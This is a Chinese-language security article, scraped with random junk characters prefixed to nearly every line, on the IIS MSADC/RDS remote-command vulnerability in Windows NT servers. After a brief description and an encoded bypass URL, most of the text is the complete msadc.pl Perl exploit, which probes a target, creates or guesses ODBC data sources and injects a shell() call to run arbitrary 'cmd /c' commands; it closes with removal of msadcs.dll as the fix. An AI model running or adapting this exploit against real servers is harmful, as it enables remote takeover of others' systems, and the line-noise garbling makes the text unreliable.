IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
n: {f\ wnLpf 涉及程序：
fL SDt(c', Microsoft NT server
ZGCp[ 2$ n%~r^ C_ 描述：
^U,C])n 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
]2iIk=r$ ,,#6SR(n 详细：
M;KeY[u 如果你没有时间读详细内容的话，就删除:
\X]I: 0^j c:\Program Files\Common Files\System\Msadc\msadcs.dll
j"zW0g!S 有关的安全问题就没有了。
Nr]guC? rE P$^I\aGO 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
B/3xV:Gy JEZ0O&_R 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
3(.Y>er%U 关于利用ODBC远程漏洞的描述，请参看:
Zny9TP A4;~+L :M http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 61H J% b0se- #+
2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
N"~P$B1 X http://www.microsoft.com/security/bulletins/MS99-025faq.asp la$%%@0/ ^hT2 ed + 这里不再论述。
) RWukr+ Gs04)KJm< 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
X .K*</(g 0Q
cJ Ek /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
tBsvi%F 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
V^}$f3\B M$6; &T 7v.O Lp #将下面这段保存为txt文件，然后: "perl -x 文件名"
F ^}d>2W( u`!Dp$P #!perl
uX1{K%^<TW #
%y)hYLOJ # MSADC/RDS 'usage' (aka exploit) script
dWhqu68_ #
;~`/rh
V\ # by rain.forest.puppy
TKEcbGhy #
v9t'CMU # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
:kjs: 6f] # beta test and find errors!
?TmVLny 8N<m V^|} use Socket; use Getopt::Std;
e?]H Ny getopts("e:vd:h:XR", \%args);
5fmQ+2A C1 T[cJ print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
" `a,/h' Zu2
$$_+L if (!defined $args{h} && !defined $args{R}) {
#9qX:*>h print qq~
plNw>rFa Usage: msadc.pl -h <host> { -d <delay> -X -v }
=<ht@-1 -h <host> = host you want to scan (ip or domain)
w2r* $Q -d <seconds> = delay between calls, default 1 second
TA#pA(k -X = dump Index Server path table, if available
r& :v( -v = verbose
K T*"Sbh -e = external dictionary file for step 5
xa{.hp? /7-FVqDx8 Or a -R will resume a command session
iqsR]mab k#p6QA hS ~; exit;}
QlH[_Pi Kc>Rd $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
!D/W6Ic@ if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
/}5)[9GC if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
{D [z>I;D if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
i+I 1h= $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
(^<skx> if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
pp
>F)A 0v kn&BGYt if (!defined $args{R}){ $ret = &has_msadc;
:"Rx$;a die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
/-=h|A#Kh 8>X] wA6q print "Please type the NT commandline you want to run (cmd /c assumed):\n"
7!6v4ZA . "cmd /c ";
B?
XK;*]) $in=<STDIN>; chomp $in;
o$ }$Z&LK $command="cmd /c " . $in ;
K>-01AGHL =%b1EY k if (defined $args{R}) {&load; exit;}
U1|{7.R ~cfvL*~ 5 print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
: G5O_T$ &try_btcustmr;
;9vY5CxzC w@,v$4Oi print "\nStep 2: Trying to make our own DSN...";
h +9~^<oFl &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
@U =~ c9 JDO n`7!w print "\nStep 3: Trying known DSNs...";
Sa:;j4 &known_dsn;
T?7++mcA >h(GmR*xM print "\nStep 4: Trying known .mdbs...";
V7
hO} &known_mdb;
`?"r\Qo< X 0LC:0+ if (defined $args{e}){
bP uO~#iN~ print "\nStep 5: Trying dictionary of DSN names...";
9]I{GyH &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
Q>L . _gl1Qtv@rf print "Sorry Charley...maybe next time?\n";
! 'Hd:oD< exit;
a!;#u 8f V2 '5doo ##############################################################################
&=wvlI52` qGP} sub sendraw { # ripped and modded from whisker
LeNSjxB sleep($delay); # it's a DoS on the server! At least on mine...
`9acR>00$ my ($pstr)=@_;
jQ-2SA O socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
Nema>T ] die("Socket problems\n");
VaO[SW^ if(connect(S,pack "SnA4x8",2,80,$target)){
#+|0 o- select(S); $|=1;
s$^2Qp print $pstr; my @in=<S>;
ylQ9Su>o select(STDOUT); close(S);
BUyKiMW 49 return @in;
wv Mp~ } else { die("Can't connect...\n"); }}
Qr?1\H:Lq f#gV>.P;h\ ##############################################################################
6<f(Zv? I vXG?8Q sub make_header { # make the HTTP request
}R_R w:W my $msadc=<<EOT
XaMsIyhI POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
& +yo PF User-Agent: ACTIVEDATA
3kVN[0 Host: $ip
c Ze59 Content-Length: $clen
D?4bp'0 3 Connection: Keep-Alive
9VS i2p* 8 uA!Vrp3 ADCClientVersion:01.06
goJ'z|)) Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
f{P?|8u 9 q\_UbF --!ADM!ROX!YOUR!WORLD!
s3 VD6xi7 Content-Type: application/x-varg
A>_,tt
Content-Length: $reqlen
{P )O# 3 {|]@ L EOT
QuC_sFP10 ; $msadc=~s/\n/\r\n/g;
^|2m&2 return $msadc;}
i>dFpJ 2HF`}H)H ##############################################################################
>B;KpO"+m 1X9J[5|ll sub make_req { # make the RDS request
FOjX,@x& my ($switch, $p1, $p2)=@_;
d$Y_vX< my $req=""; my $t1, $t2, $query, $dsn;
e&!8UYP Sf@xP.d if ($switch==1){ # this is the btcustmr.mdb query
6E.[F\u $query="Select * from Customers where City=" . make_shell();
=y`-:j\ $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
RF~G{wz $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
s^Xs*T@~h _'*(-K5& elsif ($switch==2){ # this is general make table query
08! _B\ $query="create table AZZ (B int, C varchar(10))";
d1'= \PYr $dsn="$p1";}
@#;*e] 1a $9:
@M. elsif ($switch==3){ # this is general exploit table query
. i^ @v<+ $query="select * from AZZ where C=" . make_shell();
;<"V},
C $dsn="$p1";}
m;L 3c(r. n~tb z"& elsif ($switch==4){ # attempt to hork file info from index server
14*6+~38m& $query="select path from scope()";
Bx6,U4o* $dsn="Provider=MSIDXS;";}
@.`k2lxGd~ zS h9`F elsif ($switch==5){ # bad query
cvhwd\ $query="select";
.L]5,#2([ $dsn="$p1";}
?CcX>R-/ -= izu]Fb, $t1= make_unicode($query);
JAT%s
%UC $t2= make_unicode($dsn);
'f CSP| $req = "\x02\x00\x03\x00";
Qqk(,1u $req.= "\x08\x00" . pack ("S1", length($t1));
2 )3oX $req.= "\x00\x00" . $t1 ;
xvomn`X1 $req.= "\x08\x00" . pack ("S1", length($t2));
1b 2 $req.= "\x00\x00" . $t2 ;
8=zREt<Se $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
M^>l>?#rl return $req;}
oK$Krrs0& e Z-fy,E ##############################################################################
?<Lm58p8 Cpy&2o-%v sub make_shell { # this makes the shell() statement
xEeHQ7J return "'|shell(\"$command\")|'";}
c]bG5 , KU%"{6 ##############################################################################
'GiN^Y9dcc dnQ6Ras sub make_unicode { # quick little function to convert to unicode
6a_U[-a9; my ($in)=@_; my $out;
.GL@`7" for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
3d4A~ !Iz return $out;}
XXA]ukj;r e4tC[6 ; ##############################################################################
FK`:eP{ y`
'#gH sub rdo_success { # checks for RDO return success (this is kludge)
*Z FF$0} my (@in) = @_; my $base=content_start(@in);
h w*u. 46 if($in[$base]=~/multipart\/mixed/){
GIn%yB' return 1 if( $in[$base+10]=~/^\x09\x00/ );}
_VTpfeL@n return 0;}
} # L_R 5X>~3 9(r ##############################################################################
kqxq'Aq)d B& R?{y* sub make_dsn { # this makes a DSN for us
-K H"2q my @drives=("c","d","e","f");
Fq5u%S print "\nMaking DSN: ";
"* N#-=MJF foreach $drive (@drives) {
" a,4E{7 print "$drive: ";
!`1m. my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
;Bj&9DZd "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
~I%164 B+/ . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
`~"'\Hw $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
YRr,{[e return 0 if $2 eq "404"; # not found/doesn't exist
f?ibyoXL if($2 eq "200") {
^;.u }W foreach $line (@results) {
b18f =<# return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
/!A"[Tyt } return 0;}
"P O8 Q 4cM0f,nc+ ##############################################################################
w/rJj* ,d&3IhYhD sub verify_exists {
vyB{35p$ my ($page)=@_;
U{LS_VI~ my @results=sendraw("GET $page HTTP/1.0\n\n");
aR('u:@jHi return $results[0];}
#s15AyKz5 #62ThH~ ##############################################################################
47 Bg[ ,|>>z#Rr(n sub try_btcustmr {
dv3u<X M~ my @drives=("c","d","e","f");
-C}"1|P! my @dirs=("winnt","winnt35","winnt351","win","windows");
XMT@<'fI DI2e%`$ foreach $dir (@dirs) {
)oz2V9X{ print "$dir -> "; # fun status so you can see progress
F;h^o !W7r foreach $drive (@drives) {
c$L1aZo print "$drive: "; # ditto
VP^Yf_ $reqlen=length( make_req(1,$drive,$dir) ) - 28;
vM5/Kr W $reqlenlen=length( "$reqlen" );
Bp5ra9*5+~ $clen= 206 + $reqlenlen + $reqlen;
;v2eAe@7 NCG;`B`i my @results=sendraw(make_header() . make_req(1,$drive,$dir));
` BG>%# if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
Ut;4` >T else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
Y,Rr[i"j -T{2 R:\{ ##############################################################################
`XK\',
}F q >>1?hzA sub odbc_error {
q oi21mCn my (@in)=@_; my $base;
xT*c## my $base = content_start(@in);
1Q? RD%lkf if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
]H}2|~c $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
C ~@m6K $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
j3/6hE> $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
$ L6R,%c return $in[$base+4].$in[$base+5].$in[$base+6];}
F`x_W;\ print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
0zSz[;A print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
~M} K]Li $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
tp7$t# S2*sh2-&6 ##############################################################################
( B\
UZb 43M.Hj] sub verbose {
JJ_ Z{ my ($in)=@_;
ZCc23UwI return if !$verbose;
g H'hA' print STDOUT "\n$in\n";}
S\A0gOL^ K$/"I0YyI ##############################################################################
uyB 2 :adz~L$ sub save {
j<0 ;JAL my ($p1, $p2, $p3, $p4)=@_;
js <Up/1 open(OUT, ">rds.save") || print "Problem saving parameters...\n";
Y)5O %@Rl print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
C5I7\ 9F) close OUT;}
M57<e`m
J@_^] ##############################################################################
Komdz/g KhB775 sub load {
-wV2
79^b my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
$9Bzq_! open(IN,"<rds.save") || die("Couldn't open rds.save\n");
#\Rxqh7 @p=<IN>; close(IN);
;)CN=J! $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
: q%1Vi $target= inet_aton($ip) || die("inet_aton problems");
H 8 ? Y{H print "Resuming to $ip ...";
* BR#^Wt $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
mR@d4 (:J? if($p[1]==1) {
l$9k:#\FD $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
r/ g{j $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
(P-^ PNz& my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
^$l Z if (rdo_success(@results)){print "Success!\n";}
]i`Q+q[ else { print "failed\n"; verbose(odbc_error(@results));}}
$#D#ezvxe elsif ($p[1]==3){
T2w4D ! if(run_query("$p[3]")){
P`Ku.
ONQ print "Success!\n";} else { print "failed\n"; }}
=Vs?=|r elsif ($p[1]==4){
#
2^ H{7 if(run_query($drvst . "$p[3]")){
`Ze$Bd\ print "Success!\n"; } else { print "failed\n"; }}
ig.Z,R3@r exit;}
dNt^lx xtv%C ##############################################################################
7:vl -ZW lF/
Xs sub create_table {
IWq\M,P my ($in)=@_;
dE,E,tv $reqlen=length( make_req(2,$in,"") ) - 28;
9;7"S.7AV $reqlenlen=length( "$reqlen" );
!|4]V}JQ $clen= 206 + $reqlenlen + $reqlen;
:~"m yn, my @results=sendraw(make_header() . make_req(2,$in,""));
Q}B]b-c+E return 1 if rdo_success(@results);
tUUL px.h my $temp= odbc_error(@results); verbose($temp);
A? B + return 1 if $temp=~/Table 'AZZ' already exists/;
`H:`JBe=+[ return 0;}
)JTQZ,f3] =L#&`s@)_ ##############################################################################
`(?c4oq,c> y-.{){uaD sub known_dsn {
Ir>4- @ # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
bskoi;)u my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
TX$dxHSPK "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
P<&bAsje "banner", "banners", "ads", "ADCDemo", "ADCTest");
y$-@|M$GG eJ45:]_%I@ foreach $dSn (@dsns) {
71[?AmxV print ".";
JGvhw,g next if (!is_access("DSN=$dSn"));
c8mh#T bl if(create_table("DSN=$dSn")){
-(
p%+` print "$dSn successful\n";
] }b if(run_query("DSN=$dSn")){
Lwi"K8.u print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
dYD;Z<l print "Something's borked. Use verbose next time\n";}}} print "\n";}
zL+t&P[\ ZPE- ##############################################################################
n5"oXpcIx Co(N8>1 sub is_access {
oCkG my ($in)=@_;
["& {^ $reqlen=length( make_req(5,$in,"") ) - 28;
K5LJx -x*j $reqlenlen=length( "$reqlen" );
8 f~x \. $clen= 206 + $reqlenlen + $reqlen;
cd 1-2-4U my @results=sendraw(make_header() . make_req(5,$in,""));
qVfn(rZ my $temp= odbc_error(@results);
]3,9 ."^ verbose($temp); return 1 if ($temp=~/Microsoft Access/);
,|yscp8 return 0;}
FD E?O]^ #lqH />`> ##############################################################################
7P(o!%H UVl B= sub run_query {
.up[wt gN my ($in)=@_;
GO2q"a $reqlen=length( make_req(3,$in,"") ) - 28;
5L2j, ] $reqlenlen=length( "$reqlen" );
0!YVRit\N $clen= 206 + $reqlenlen + $reqlen;
en{p<]H my @results=sendraw(make_header() . make_req(3,$in,""));
]s5e[iS return 1 if rdo_success(@results);
<?IDCOt ? my $temp= odbc_error(@results); verbose($temp);
oh$"?N7n1 return 0;}
/dg? 6XT/ N{g7 ##############################################################################
`T+>E0H(f 53aJnxX sub known_mdb {
/y {fDCC my @drives=("c","d","e","f","g");
NvIg,@} my @dirs=("winnt","winnt35","winnt351","win","windows");
yc]_ ?S>9 my $dir, $drive, $mdb;
p 2l@6\m\ my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
W^^0Rh_ 4$vUD1(' # this is sparse, because I don't know of many
0$`pYW] my @sysmdbs=( "\\catroot\\icatalog.mdb",
@BnK C&{ "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
^, =}'H ] "\\system32\\certmdb.mdb",
r MJ@oc "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
SbX^DAlB1 :kI[P f!z my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
/cdLMm: "\\cfusion\\cfapps\\forums\\forums_.mdb",
PO'K?hVS^w "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
N)H+N g[ "\\cfusion\\cfapps\\security\\realm_.mdb",
Y9f7~w^s "\\cfusion\\cfapps\\security\\data\\realm.mdb",
={cM6F}a@ "\\cfusion\\database\\cfexamples.mdb",
H(n
fHp.3 "\\cfusion\\database\\cfsnippets.mdb",
<astIu Au "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
c%,ky$'18 "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
&/^p:I "\\cfusion\\brighttiger\\database\\cleam.mdb",
L T`T~|pz "\\cfusion\\database\\smpolicy.mdb",
@qcUxu 4 "\\cfusion\\database\cypress.mdb",
-}T7F+ "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
_Fj\0S" "\\website\\cgi-win\\dbsample.mdb",
J_ &cI%. "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
K%%Ow "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
w-)JCdS6Tb ); #these are just
o-_,l
J7o^ foreach $drive (@drives) {
In%FOPO foreach $dir (@dirs){
d=+zOF foreach $mdb (@sysmdbs) {
.
&}x[~g print ".";
D8w.r"ne if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
=HM CNl
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
2.);OFk + if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
@/As|) print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
R=R]0 } else { print "Something's borked. Use verbose next time\n"; }}}}}
d/oD]aAEr &~.|9P/45 foreach $drive (@drives) {
;A"i .:ZT foreach $mdb (@mdbs) {
^o Ds*F print ".";
Bf^K?:r"V if(create_table($drv . $drive . $dir . $mdb)){
OBlQ print "\n" . $drive . $dir . $mdb . " successful\n";
?^-fivzS> if(run_query($drv . $drive . $dir . $mdb)){
:G9 d,B7* print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
yP-$@Ry } else { print "Something's borked. Use verbose next time\n"; }}}}
,{iMF
(Nj }
F @t\D? 9P
<1/W! ##############################################################################
kW%wt1", rjfWty%6pX sub hork_idx {
+(' xzW print "\nAttempting to dump Index Server tables...\n";
I`@>v%0 print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
0V"(}!=2a $reqlen=length( make_req(4,"","") ) - 28;
&kWT<*;J) $reqlenlen=length( "$reqlen" );
7PfNPz<4+ $clen= 206 + $reqlenlen + $reqlen;
lnMU5[g{ my @results=sendraw2(make_header() . make_req(4,"",""));
z:O:g?A if (rdo_success(@results)){
+m}D. u*cp my $max=@results; my $c; my %d;
6x!iL\Y~ for($c=19; $c<$max; $c++){
5``usn/&Kj $results[$c]=~s/\x00//g;
{ }Afah $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
xw~oR|`U $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
Ttb ?x<)+8 $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
ZLP0SCkuR $d{"$1$2"}="";}
8&x&Ou$("V foreach $c (keys %d){ print "$c\n"; }
| t$%kpp } else {print "Index server doesn't seem to be installed.\n"; }}
V+})$m *> b\NY! )B ##############################################################################
iy8Ln,4z( 0 '5N[Bvp sub dsn_dict {
|9m*? 7 open(IN, "<$args{e}") || die("Can't open external dictionary\n");
Yv{$XI7 while(<IN>){
#; P- *P $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
=ZV+*cCC=q next if (!is_access("DSN=$dSn"));
=jG." o if(create_table("DSN=$dSn")){
.q 4FGPWz print "$dSn successful\n";
D#> d+X$ if(run_query("DSN=$dSn")){
wUS w 9xg print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
FYg{IKg print "Something's borked. Use verbose next time\n";}}}
?|hY tV print "\n"; close(IN);}
&]KA%Db2 oSR;Im<2 ##############################################################################
y]k{u\2A o8A(Cg} sub sendraw2 { # ripped and modded from whisker
*MCkezW7{ sleep($delay); # it's a DoS on the server! At least on mine...
6D4u ?P, my ($pstr)=@_;
5cr\ J R socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
*u >[ die("Socket problems\n");
c5eimA%` if(connect(S,pack "SnA4x8",2,80,$target)){
A22'qgKm@ print "Connected. Getting data";
0bQ"s*K open(OUT,">raw.out"); my @in;
$C{-gx+: select(S); $|=1; print $pstr;
SQG9m2 while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
7x$VH5jie# close(OUT); select(STDOUT); close(S); return @in;
Hq <!& } else { die("Can't connect...\n"); }}
Ez^wK~ 40;4 = ##############################################################################
w[; 5]z AHP; N6Y6 sub content_start { # this will take in the server headers
5 q}7#{A my (@in)=@_; my $c;
+39p5O! for ($c=1;$c<500;$c++) {
A9y3B^\* if($in[$c] =~/^\x0d\x0a/){
Q,>]f@m if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
R6irL!akAd else { return $c+1; }}}
yzL6 oU-{& return -1;} # it should never get here actually
=|3*Y0 >Cglhsb:N ##############################################################################
sH{(=N E$5A
1 sub funky {
Up1e4 mNL my (@in)=@_; my $error=odbc_error(@in);
v==/tr) if($error=~/ADO could not find the specified provider/){
wvEdZGO8! print "\nServer returned an ADO miscofiguration message\nAborting.\n";
oMb@)7 exit;}
843O}v' if($error=~/A Handler is required/){
r )f+j @KF print "\nServer has custom handler filters (they most likely are patched)\n";
G9 ra;.
exit;}
pb|,rLNZ if($error=~/specified Handler has denied Access/){
Ob
h@ d| print "\nServer has custom handler filters (they most likely are patched)\n";
2?(dS exit;}}
zHQSx7Ow 5 z CFX Qi ##############################################################################
2fMKS 39Tlt~Psz sub has_msadc {
p']oy;t my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
*skm Tioj& my $base=content_start(@results);
GNI:k{H@"? return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
,-5|qko= return 0;}
,uCgC4EP h5
PZ?Zd ########################
v4X)R
"jJ ]R]%c*tA LZ1 )zoJ 解决方案：
q3/ 0xN+? 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
Pbl#ieZM 2、移除web 目录: /msadc
